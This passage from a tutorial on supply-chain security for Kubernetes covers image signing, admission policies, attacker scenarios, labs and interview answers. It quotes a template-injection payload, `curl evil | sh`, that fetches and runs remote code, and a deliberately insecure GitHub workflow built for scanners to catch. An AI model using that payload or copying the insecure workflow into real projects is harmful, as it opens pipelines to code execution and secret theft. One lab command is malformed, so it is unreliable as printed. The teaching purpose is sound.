3. Its signatures would carry the `release.yaml@refs/heads/main` identity, the trusted one. The test could no longer simulate a different workflow, and worse, it would be producing *trusted* signatures for a tampered image in the real registry.

14. How everything fits together

This chapter follows **one legitimate release** and then **four attackers** through every tool, so you can see each protection in its place. Nothing here is new; it connects chapters 1 to 13.

The layers, from code to running pod

Layer	Tool / file	Question it answers
Pipeline hygiene	zizmor, actionlint, <code>check-pinned-actions.sh</code> , CODEOWNERS, Dependabot	Can someone hijack the pipeline itself?
Image content	distroless base pinned by digest, Go unit tests in the build	Is there little to attack, and does it work?
Known holes	Trivy gate	Does it contain fixable CRITICAL/HIGH CVEs?
Ingredients	Syft SBOM	What exactly is inside?
Identity	cosign keyless, Fulcio, Rekor	Who built it? (release.yaml on main)
Evidence	provenance, scan and SBOM attestations	From which code, how, and was it clean?
Self-check	<code>cosign verify</code> in release.yaml	Is what we published verifiable?
Proof	<code>e2e.yaml</code> attack test	Do the defences really work, on this release?
Delivery	promote job, Argo CD	Is the deployed digest exactly the tested one?
The door	Kyverno: <code>verify-release-images</code> , <code>allowed-images</code> , <code>restricted-pods</code> ; PSA restricted	Is this pod allowed to start?
After delivery	Trivy Operator, Prometheus, Grafana	Has anything been refused? Did a running image become vulnerable?

One legitimate release

1. A developer opens a pull request. `ci.yaml` runs zizmor, actionlint, the pinned-actions check, Go tests, ShellCheck, hadolint, `kyverno test`, Kustomize rendering, promtool tests and yamllint. CODEOWNERS requires review of workflow and policy changes.
2. The merge to `main` starts `release.yaml`. The `build` job (with `id-token: write` only there) builds `storefront-api`, the Trivy gate passes, the image is pushed and its digest read back.
3. Syft writes the SBOM, Trivy writes the scan report, `provenance.sh` writes the SLSA provenance. cosign signs the digest and attaches three attestations; Fulcio issues a certificate for `release.yaml@refs/heads/main`; Rekor logs everything.
4. The job verifies its own output with the cluster's identity rule and uploads the `supply-chain-evidence` artifact.
5. `e2e.yaml` runs the six sections of chapter 13 against this digest. All attacks blocked, control admitted.
6. `promote` commits the digest to `deploy/prod/kustomization.yaml`.
7. Argo CD syncs. Kyverno already checks the Deployment update (same image rules) and admits it. The Deployment gets a new ReplicaSet; it asks for a pod.

8. PSA checks the pod spec (restricted). Kyverno runs `allowed-images`, `restricted-pods` and `verify-release-images`: signature by the right identity, provenance says this repository and `main`, signed scan has no CRITICAL/HIGH, signed SBOM exists. The image is rewritten to the verified digest.
9. The pod starts. Only when it is ready is an old pod removed (`maxUnavailable: 0`).
10. Trivy Operator scans the running image and keeps doing so. Grafana shows signature checks passing and nothing blocked.

Four attackers

Attacker 1: has a registry token

They push `storefront-api:latest` with a backdoor, or overwrite a tag. - Production never uses tags: `allowed-images` requires a digest in workload specs, and git holds the digest. - Even if they get a pod spec pointing to their digest, `verify-release-images` finds no signature from the release identity. **Refused.** - Covered by e2e section 3 (unsigned, tampered).

Attacker 2: can push to the deploy folder in git

They change the prod digest to their image. - Argo CD syncs it: GitOps is not a security boundary. - Kyverno refuses the new pods; old pods keep serving; `UntrustedWorkloadBlocked` fires. Rollback is `git revert`. - Covered by e2e section 4.

Attacker 3: injects a workflow into the repository

Their workflow gets an OIDC token, signs their image, attests forged provenance that says `release.yaml` and a fake clean scan. - Fulcio certifies who they really are: their workflow file, not `release.yaml`. The policy compares the certificate identity, not the text inside the provenance. **Refused.** - Pipeline hygiene (zizmor, pinned actions, CODEOWNERS, branch protection) makes the injection itself harder. - Covered by e2e section 3 (imposter).

Attacker 4: uses the genuine image, dangerously

They start the real, signed image as a privileged container with the host file system mounted. - `restricted-pods` and PSA refuse it. **Refused.** - Covered by e2e section 3 (privileged trusted image).

And what still gets through (be honest)

Attacker has	Outcome
the ability to change <code>release.yaml</code> on <code>main</code>	can release anything: that file is the trust anchor. Protect it with branch protection and CODEOWNERS review (runbook).
cluster-admin	can delete the policies. Admission control does not defend against cluster administrators.
a vulnerable dependency that nobody knows about yet	ships, because no scanner can find an unknown CVE. Trivy Operator catches it once it is published.
a compromised build step inside the release job	the provenance is written by the same job (not SLSA Build L3, chapter 7).

Saying this clearly is part of the design: every security control has a boundary, and the [architecture document](#) lists them under "Trust boundaries".

Check yourself

1. Which single file, if changed by an attacker on `main`, defeats the whole system? What protects it?
2. For each of the four attackers, name the exact check that stops them.
3. Which protection works even after the image has passed every check at admission?

Answers

▼ Answers

1. `.github/workflows/release.yaml`. Production trusts its identity, so changes to it must go through branch protection with required review and CODEOWNERS.
2. Registry token: no signature from the release identity (and digest pinning). Git deploy access: Kyverno signature check on the new pods. Injected workflow: the certificate identity names the wrong workflow. Dangerous genuine image: `restricted-pods` and PSA restricted.
3. Trivy Operator with the `RunningImageHasCriticalVulnerabilities` alert: it re-scans running images for vulnerabilities published later.

15. Hands-on labs

Start the lab once with `scripts/platform-up.sh`. All commands run from the repository root, in bash (Git Bash on Windows). Load the helpers in every new terminal:

```
source scripts/lib.sh      # tb = run a command in the toolbox, k = kubectl in the toolbox
ID=https://github.com/sufyanahmadkamboh/sufyan-devops-secure-supply-
chain/.github/workflows/release.yaml@refs/heads/main
ISSUER=https://token.actions.githubusercontent.com
DIGEST="$(grep -oE 'sha256:[a-f0-9]{64}' deploy/prod/kustomization.yaml)"
IMG="ghcr.io/sufyanahmadkamboh/storefront-api@$DIGEST"
```

If `DIGEST` is still the all-zero placeholder, no release has been promoted yet: skip the parts marked **(needs a release)**, or run the release workflow in your fork first.

Compare what you observe with `docs/test-results.md`.

Lab 1: Look around

1. `k get pods -A` : find Kyverno, Argo CD, Trivy Operator, Prometheus and Grafana. Which namespace holds each?
2. `k get ivpol,vpol` : there are six policies. Why six, when `policies/base/` has three?
3. `k get ns prod sandbox --show-labels` : which label turns on Deny, which one Audit? Which label is Kubernetes' own Pod Security?
4. `k -n argocd get application storefront-api` : what are its sync and health status? If the digest is the placeholder, why is it unhealthy?
5. Open `docs/architecture.md` and find the "Trust boundaries" table. Which two attackers win?

Lab 2: Verify the image like the cluster does (needs a release)

```
tb cosign verify --certificate-identity "$ID" --certificate-oidc-issuer "$ISSUER" "$IMG" | tb jq '.
[0].optional'
for t in slsaprovenance1 vuln cyclonedx; do
  tb cosign verify-attestation --type "$t" --certificate-identity "$ID" --certificate-oidc-issuer
"$ISSUER" "$IMG" >/dev/null && echo "ok $t"
done
```

1. In the `optional` block, find the commit SHA. Open that commit on GitHub.
2. Decode the provenance (chapter 7) and click the run URL in `runDetails.metadata.invocationId`. Is it the run that built this digest?
3. Change `release.yaml` to `ci.yaml` in `$ID` and verify again. What error do you get, and why is that the whole point?
4. `tb crane manifest "$IMG" | tb jq '.layers | length'` : how many layers does a distroless Go image have?

Lab 3: Be the attacker at the door

1. Apply the foreign-image pod from chapter 8 (`try-foreign`). Read the denial message: which policy refused it?
2. (needs a release) Find the release tag with `tb crane ls ghcr.io/sufyanahmadkamboh/storefront-api | grep '^sha-'` and put `ghcr.io/sufyanahmadkamboh/storefront-api:sha-...` (a tag, not a digest) in that manifest. Bare Pods may use tags, so it is verified and admitted. Now `k -n prod get pod try-foreign -o jsonpath='{.spec.containers[0].image}'` : what did `mutateDigest` add? Delete the pod.
3. Same manifest with the trusted image, but add `privileged: true` and set `allowPrivilegeEscalation: true` . Who refuses it first: PSA or Kyverno? (Hint: read the start of the error message.)
4. Remove `seccompProfile` from the safe manifest. What changes?
5. `k -n prod get events --field-selector reason=PolicyViolation` : are your attempts recorded?

Lab 4: Audit mode in the sandbox

```
k -n sandbox run unsafe --image=docker.io/library/busybox:1.37 --restart=Never -- sleep 3600
k -n sandbox get policyreports -o wide
k -n sandbox get policyreports -o json | tb jq -r '.items[].results[]? | select(.result=="fail") | "\(.policy): \(.message)'"
```

1. The pod runs. Which policies does the report say it would violate in prod?
2. Why is an audit namespace the safe way to introduce a new policy in a real company?
3. Delete the pod: `k -n sandbox delete pod unsafe` .

Lab 5: Watch the scanner and the alert

```
k -n sandbox run legacy-nginx --image=docker.io/library/nginx:1.21.0 --restart=Never
# wait a few minutes, then:
k -n sandbox get vulnerabilityreports
k -n sandbox get vulnerabilityreports -o json | tb jq '.items[] | {image: .report.artifact.repository, summary: .report.summary}'
k -n monitoring exec deploy/prometheus -- wget -qO- 'http://localhost:9090/api/v1/alerts' | tb jq '.data.alerts[] | {alert: .labels.alertname, state}'
```

1. How long until the VulnerabilityReport appears? How long until `RunningImageHasCriticalVulnerabilities` is `pending` , then `firing` ? Why the gap (`for: 5m`)?
2. Open Grafana (chapter 11) and find the image in "Vulnerabilities in running images".
3. Delete the pod. How long until the alert resolves?

Lab 6: Break a policy, let the tests catch it

```
tb kyverno test policies/tests # all pass
# remove the ':' and '@' from the allowed-images prefix check:
sed -i 's|storefront-api:)|storefront-api)|; s|storefront-api@)|storefront-api)|'
policies/base/allowed-images.yaml
tb kyverno test policies/tests # which test fails now?
git checkout -- policies/base/allowed-images.yaml # undo
```

1. Which test resource is now wrongly accepted? Why is that a real attack (chapter 8)?

2. Write a new test resource: a Deployment using `ghcr.io/sufyanahmadkamboh/storefront-api@sha256:` with a 63-character digest. Add it to `kyverno-test.yaml` as `fail`. Does it pass?

Lab 7: Break an alert, let promtool catch it

```
run_promtool() { docker run --rm -v "$ROOT_NATIVE:/w" -w /w/tests/prometheus --entrypoint promtool
prom/prometheus:v3.15.0 test rules rules.test.yaml; }
run_promtool
sed -i 's|resource_namespace="prod"|}[10m\]|}[10m]|' platform/monitoring/rules.yaml # count every
namespace
run_promtool # what fails?
git checkout -- platform/monitoring/rules.yaml
```

1. Which test case fails, and what would that mistake have meant at 3 a.m.?
2. Add a test that proves `UntrustedWorkloadBlocked` resolves 15 minutes after the last refusal.

Lab 8: Pipeline hygiene

Create a throwaway workflow and let the checks find what is wrong:

```
cat > .github/workflows/lab-bad.yaml <<'EOF'
name: lab-bad
on: pull_request_target
permissions: write-all
jobs:
  greet:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@v4
      - run: echo "Hello ${ github.event.pull_request.title }"
EOF
scripts/ci/check-pinned-actions.sh
pip install --require-hashes -r tools/zizmor-requirements.txt && zizmor .github/workflows/lab-bad.yaml
rm .github/workflows/lab-bad.yaml
```

1. List every problem the tools report. Map each to an attack from chapter 2.
2. Rewrite the file so it passes: pinned SHA, `permissions: {}` plus job-level `contents: read`, `persist-credentials: false`, the title passed through an `env:` variable instead of `${{ }}` inside `run:`.

Lab 9: Follow a full release (needs a fork)

1. Fork the repository, enable Actions and GHCR, and update the repository name in the identity strings of `policies/base/verify-images.yaml` and the `IMAGE` value (a good exercise in where identities live: `grep -rn sufyanahmadkamboh .github policies deploy scripts platform`).
2. Push a small change to `app/main.go` on `main`.
3. Watch `release.yaml`: build, e2e, promote. Open the e2e step summary: every scenario and its result.
4. Download the `supply-chain-evidence` artifact and look at `provenance.json`.
5. Check that the promote commit changed only `deploy/prod/kustomization.yaml`.

Clean up

```
kind delete cluster --name supply-chain  
rm -rf .lab
```

Glossary

Term	Meaning
actionlint	a linter for GitHub Actions workflow files (syntax, expressions, shell problems)
admission controller	code in the Kubernetes API server that accepts, changes or refuses objects before they are stored
admission webhook	an external service (here Kyverno) that the API server calls during admission
Argo CD	a GitOps controller that keeps a cluster equal to manifests in git
attestation	a signed statement about an artifact (provenance, scan, SBOM), usually an in-toto statement
Audit (validationAction)	allow the request but record the violation in a PolicyReport
base image	the image a Dockerfile starts <code>FROM</code>
CEL	Common Expression Language; the expression language of Kyverno's new policy types and of Kubernetes itself
certificate identity / subject	in keyless signing, who the certificate was issued to; here a workflow file and git ref
CODEOWNERS	a GitHub file that names who must review changes to given paths
cosign	Sigstore's command-line tool for signing and verifying images and attestations
CVE	Common Vulnerabilities and Exposures: the public ID of a known security hole
CycloneDX	a standard SBOM format (also used for other bills of materials)
Deny (validationAction)	refuse a request that violates the policy
Dependabot	GitHub's service that opens pull requests to update dependencies, pinned SHAs and digests
digest	the SHA-256 hash of an image manifest (<code>sha256:...</code>); changes if any byte changes; cannot be moved
distroless	images with only the app and its runtime files: no shell, no package manager
e2e (end-to-end) test	a test of the whole system as a user or attacker would use it; here <code>scripts/e2e.sh</code>
Fulcio	Sigstore's certificate authority; issues short-lived certificates for an OIDC identity
GHCR	GitHub Container Registry, <code>ghcr.io</code>
GitOps	managing the desired state of a system as files in git, applied by a controller
Grafana	dashboards over Prometheus and other data sources
headless Service	a Kubernetes Service without a cluster IP; DNS returns the pod IPs directly
ImageValidatingPolicy	Kyverno 1.19 policy kind that verifies image signatures and attestations with CEL
in-toto statement	the standard envelope of an attestation: subject (digest), predicateType, predicate

Term	Meaning
keyless signing	signing with a short-lived certificate bound to an identity, instead of a long-lived private key
kind	"Kubernetes in Docker": runs throwaway clusters as Docker containers
Kustomize	builds Kubernetes YAML from a base plus overlays and patches (<code>kubectl kustomize</code>)
Kyverno	a Kubernetes policy engine running as an admission webhook
layer	one file-system change set of an image; images are stacks of layers
least privilege	give each job, user or pod only the permissions it needs
manifest (image)	the JSON document listing an image's config and layers; its hash is the digest
maxUnavailable / maxSurge	rolling-update settings: how many pods may be missing / extra during a rollout
mutateDigest	Kyverno option that rewrites an image reference to the digest it verified
NetworkPolicy	Kubernetes rules for which traffic may reach or leave pods
OIDC (OpenID Connect)	a standard for identity tokens; GitHub Actions issues one per job when <code>id-token: write</code> is granted
persist-credentials	<code>actions/checkout</code> option; <code>false</code> keeps the token out of <code>.git/config</code>
pinning	referring to an exact, unchangeable version: a commit SHA for actions, a digest for images
Pod Security Admission (PSA)	built-in Kubernetes admission that enforces a Pod Security Standard per namespace
Pod Security Standards	<code>privileged</code> , <code>baseline</code> , <code>restricted</code> : three levels of pod restrictions
PolicyReport	a Kyverno resource listing policy results (pass/fail) for resources in a namespace
predicate	the content part of an in-toto statement (the provenance, the scan result, the SBOM)
promote	the release job that writes the tested digest into <code>deploy/prod</code>
promtool	Prometheus's CLI; checks rule files and runs alert unit tests
Prometheus	a metrics system: scrapes metrics, stores time series, evaluates alert rules
PromQL	Prometheus's query language
provenance	a record of how an artifact was built: source, commit, build process, run
registry	a server that stores and serves container images
Rekor	Sigstore's public, append-only transparency log of signatures
reusable workflow	a GitHub workflow called by another with <code>uses :</code> ; runs with its own file identity
SBOM	Software Bill of Materials: the list of components inside a piece of software
seccomp	a Linux kernel feature that limits which system calls a process may make
selfHeal / prune	Argo CD options: undo manual changes / delete objects removed from git

Term	Meaning
severity	how bad a vulnerability is: LOW, MEDIUM, HIGH, CRITICAL
Sigstore	an open-source project for signing software (cosign, Fulcio, Rekor)
SLSA	Supply-chain Levels for Software Artifacts: a framework and a provenance format
Syft	a tool that generates SBOMs from images and directories
tag	a human-friendly, movable name for an image (:1.2.3 , :latest)
template injection	untrusted text (a PR title, a branch name) expanded by <code>\${{ }}</code> into a workflow's shell script
transparency log	a public, append-only, verifiable log; anyone can check that an entry exists and was not changed
Trivy	an open-source vulnerability scanner
Trivy Operator	runs Trivy inside a cluster and keeps scanning running workloads
trust anchor	the one thing everything else relies on; here the identity <code>release.yaml@refs/heads/main</code>
ValidatingPolicy	Kyverno 1.19 policy kind that validates resources with CEL
VulnerabilityReport	the Trivy Operator resource holding the scan result of one workload
zizmor	a static analyser for security problems in GitHub Actions workflows

Interview questions

25 questions this project prepares you for. Try to answer before opening the answer.

1. What is a software supply chain attack? Give three real ways an attacker gets code into production.

▼ Answer

An attack on how software is built and delivered rather than on the running app. Examples: pushing a malicious image with a stolen registry token; moving a GitHub Action's version tag to a malicious commit; injecting a workflow file into a repository that steals credentials or signs images; template injection through a pull request title.

2. Why is "the image came from our private registry" not proof that it is ours?

▼ Answer

Anyone with a registry token (a leaked CI secret, a former employee, a compromised laptop) can push to it, and tags can be overwritten. The location says nothing about who built the content. Only a signature bound to the digest and to a trusted build identity does.

3. Tag vs digest: why does production use digests?

▼ Answer

A tag is a movable pointer; the same tag can point to different content tomorrow. A digest is the hash of the content and cannot change. This project keeps digests in git (`allowed-images` enforces it for workloads) and Kyverno rewrites admitted images to the verified digest (`mutateDigest`).

4. Explain keyless signing with Sigstore.

▼ Answer

The CI job gets an OIDC token from GitHub, cosign creates an in-memory key pair, Fulcio issues a short-lived certificate naming the job's identity (workflow file and ref), cosign signs the digest, and the signature is recorded in the Rekor transparency log. No long-lived key exists to steal or rotate.

5. What exact identity does production trust, and why not "any workflow of the repository"?

▼ Answer

`https://github.com/sufyanahmadkamboh/sufyan-devops-secure-supply-chain/.github/workflows/release.yaml@refs/heads/main` with issuer `https://token.actions.githubusercontent.com`. Any workflow can get a token; trusting all of them would trust an injected workflow, PR branches and the e2e test workflow.

6. What is an attestation, and which ones does this project create?

▼ Answer

A signed in-toto statement about a digest. Three: SLSA v1 provenance (repository, ref, workflow, commit, run), a Trivy vulnerability report (cosign-vuln format) and a CycloneDX SBOM. All signed by the release identity and checked at admission.

7. Is this project SLSA Build Level 3? Why or why not?

▼ Answer

No. The provenance is written and signed by the same job that builds the image, so a compromised build step could influence it. L3 requires an isolated builder that generates provenance the build cannot touch (for example the SLSA GitHub generator). This is documented as a trade-off.

8. How does Kyverno verify an image at admission? Walk through the checks.

▼ Answer

For Pods in namespaces labelled `enforce`: the ImageValidatingPolicy checks a keyless signature from the release identity (Fulcio chain + Rekor), a signed provenance whose predicate names this repository and `refs/heads/main`, a signed scan without CRITICAL/HIGH, and a signed SBOM. Then it rewrites the image to the verified digest. ValidatingPolicies check the registry and digest pinning, and the restricted pod settings.

9. Why read the vulnerability result from a signed attestation instead of scanning at admission?

▼ Answer

Scanning in the admission path would be slow and would need a vulnerability database in the critical path. The signed report is quick to check and cannot be forged by anyone without the release identity. New CVEs after build are handled by Trivy Operator.

10. What happens if Kyverno is down?

▼ Answer

With `failurePolicy: Fail`, new pods cannot be created (running pods keep running); with `Ignore`, pods would be admitted unverified. The `AdmissionControllerDown` alert fires when Prometheus cannot scrape the admission controller. This project fails closed.

11. A developer needs to run an unverifiable image during an incident. What do you do?

▼ Answer

Do not delete the policies. Create a reviewed, time-limited Kyverno PolicyException for one namespace and workload, merged through git with an owner, and remove it afterwards (runbook).

12. Why both Pod Security Admission and a Kyverno pod-security policy?

▼ Answer

Defence in depth. PSA is built into the API server and survives the deletion of Kyverno policies. Kyverno adds rules PSA does not have (read-only root file system, CPU/memory limits), clear messages, PolicyReports and an audit mode.

13. **How do you roll out a new admission policy without breaking teams?**

▼ Answer

Run it in Audit mode first (here: the sandbox overlay with `validationActions: [Audit]`), read the PolicyReports, fix the workloads, then switch to Deny. Policy unit tests (`kyverno test`) in CI catch rule mistakes before any cluster sees them.

14. **Someone with write access commits a malicious digest to the GitOps folder. What happens?**

▼ Answer

Argo CD tries to apply it. Kyverno refuses the Deployment update (no release signature), so the sync fails and the running pods are untouched; production keeps serving. If a controller slipped in another way, its pods would be refused at creation, and `maxUnavailable: 0` keeps the old ones. `UntrustedWorkloadBlocked` fires. Fix with `git revert`. The e2e test proves this every release.

15. **Why isn't the GitOps controller a security boundary?**

▼ Answer

It applies whatever is in git. Anyone who can write to the deploy path controls it. Security decisions belong at admission, where every pod is checked regardless of who created it.

16. **How do you harden GitHub Actions workflows?**

▼ Answer

`permissions: {}` at the top and minimal permissions per job; `id-token: write` only where signing happens; actions pinned to full commit SHAs (enforced by `check-pinned-actions.sh`) and updated by Dependabot; `persist-credentials: false`; no `${{ }}` of untrusted input in `run: ;` zizmor and actionlint in CI; CODEOWNERS and branch protection on workflow files.

17. **What is template injection in GitHub Actions?**

▼ Answer

`${{ github.event.pull_request.title }}` inside a `run:` script is expanded into the shell code before it runs. A title like `"; curl evil | sh #` becomes code. Pass untrusted values through `env:` and use `"$VAR"` in the script.

18. **Why install CLIs by checksum instead of using setup actions?**

▼ Answer

Each third-party action is code from someone else running with the job's permissions. Downloading a pinned version and checking its SHA-256 removes that dependency; the remaining actions are few and SHA-pinned.

19. What does the end-to-end attack test prove that unit tests cannot?

▼ Answer

That the real policies, with real Sigstore signatures, a real registry and a real cluster, block a foreign image, an unsigned image, a tampered image, an imposter signed by a different workflow with forged provenance and a privileged trusted image, while admitting the genuine release. A wrong identity string or unsupported signature format would only show up here.

20. Why does the imposter scenario need a separate `e2e.yaml` workflow?

▼ Answer

Signatures from a job inside `release.yaml` on main would carry the trusted identity. A reusable workflow in its own file gets its own identity (`e2e.yaml`), so it can produce a valid but untrusted signature, exactly what an injected workflow would do.

21. A CVE is published for a library inside an image that is already running. How do you find out?

▼ Answer

Trivy Operator re-scans running workloads with an updated database and updates the `VulnerabilityReport`; `trivy_image_vulnerabilities` rises and `RunningImageHasCriticalVulnerabilities` fires after 5 minutes. The signed SBOMs show which other images contain the library.

22. How do you test alert rules?

▼ Answer

With `promtool` test rules : input series and expected alerts at given times, including cases that must not fire (for example refusals in the sandbox). They run in CI so a wrong label never silently disables an alert.

23. What can this design NOT protect against?

▼ Answer

Someone who can change `release.yaml` on main (the trust anchor), a cluster-admin (can delete policies), unknown vulnerabilities, and a compromised build step inside the release job (provenance not isolated). Protect the anchor with branch protection, required reviews and CODEOWNERS.

24. How would you revoke trust in a compromised build?

▼ Answer

There are no keys to rotate. Change the trusted identity in `verify-images.yaml` (for example a new workflow file), re-release, and images signed under the old identity are refused at their next pod creation. Rekor keeps the history for investigation.

25. **Why the classic cosign signature format instead of the new bundle format?**

▼ Answer

In this project's tests, Kyverno 1.19's ImageValidatingPolicy verified classic `.sig / .att` signatures but did not find cosign 3 bundle-format signatures. The pipeline signs with `--new-bundle-format=false --use-signing-config=false`, and the decision log marks it to revisit when Kyverno reads bundles.